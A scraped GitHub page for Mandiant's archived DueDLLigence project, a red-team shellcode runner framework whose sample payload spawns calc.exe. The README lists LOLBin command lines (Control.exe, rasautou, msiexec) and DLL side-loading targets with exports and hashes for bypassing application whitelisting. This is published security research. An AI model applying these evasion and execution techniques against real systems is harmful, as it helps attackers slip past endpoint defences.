Sign in

This repository has been archived by the owner on Aug 5, 2024. It is now read-only.

mandiant / **DueDLLigence** Public archive

Notifications Fork 89 Star 462

Code Issues 1 Pull requests Actions Projects Security Insights

master Go to file Code

DueDLLigence

packages

.gitignore

DueDLLigence.sln

LICENSE.txt

README.md

About

No description, website, or topics provided.

Readme

Apache-2.0 license

Activity

Custom properties

462 stars

19 watching

89 forks

Report repository

Releases

No releases published

Packages

No packages published

Languages

C# 100.0%

README Apache-2.0 license

DueDLLigence

Shellcode runner framework for application whitelisting bypasses and DLL side-loading. The shellcode included in this project spawns calc.exe.

Authors: Evan Pena (@evan_pena2003), Ruben Boonen (@FuzzySec), Casey Erikson (@EriksocSecurity), Brett Hawkins (@h4wkst3r)

If desired, change the injection type by modifying the following line to the appropriate injection type `public const ExecutionMethod method = ExecutionMethod.CreateThread;`

Blog Post References:
https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html
https://www.fireeye.com/blog/threat-research/2020/01/abusing-dll-misconfigurations.html

Running the DLL with the following legitimate exes

Application Whitelisting Bypasses. Lolbins

Control.exe

Export: CPlApplet Syntax: Rename compiled “dll” extension to “cpl” and just double click it!
`Control.exe [cplfile]`
`Rundll32.exe Shell32.dll, Control_RunDLL [cplfile]`

Rasautou

Export: powershell
`rasautou -d {dllpayload} -p powershell -a a -e e`

Msiexec

Export: DllUnregisterServer
`msiexec /z {full path to msiexec.dll}`

DLL Side-Loading Binaries and Details

Tortoise SVN (SubWCRev.exe)

Executable: SubWCRev.exe
File Path: C:\Program Files\Tortoise SVN\bin
MD5 Hash: c422a95929dd627b4c2be52226287003
DLL == "crshhndl.dll"; Arch == x64; OS == Win7 & 10;
Exports:
InitCrashHandler,SendReport,IsReadyToExit,SetCustomInfo,AddUserInfoToReport,RemoveUserInfoFromReport,AddFileToReport,RemoveFileFromReport,GetVersionFromApp,GetVersionFromFile

Dism Image Servicing Utility (Dism.exe)

Executable: Dism.exe
File Path: C:\Windows\System32
MD5 Hash: 5e70ab0bf74bba785b83da53a3056a21
DLL == "DismCore.dll"; Arch == x64; OS == Win7 & 10;
Export: DllGetClassObject

PotPlayerMini

Executable: PotPlayer.exe
File Path: {Installation Directory}
MD5 Hash: f16903b2ff82689404f7d0820f461e5d
DLL == "PotPlayer.dll"; Arch == x86;
Exports:
PreprocessCmdLineExW,UninitPotPlayer,CreatePotPlayerExW,DestroyPotPlayer,SetPotPlayRegKeyW,RunPotPlayer

Credit for the DueDLLigence name goes to Paul Sanders (@saul_panders)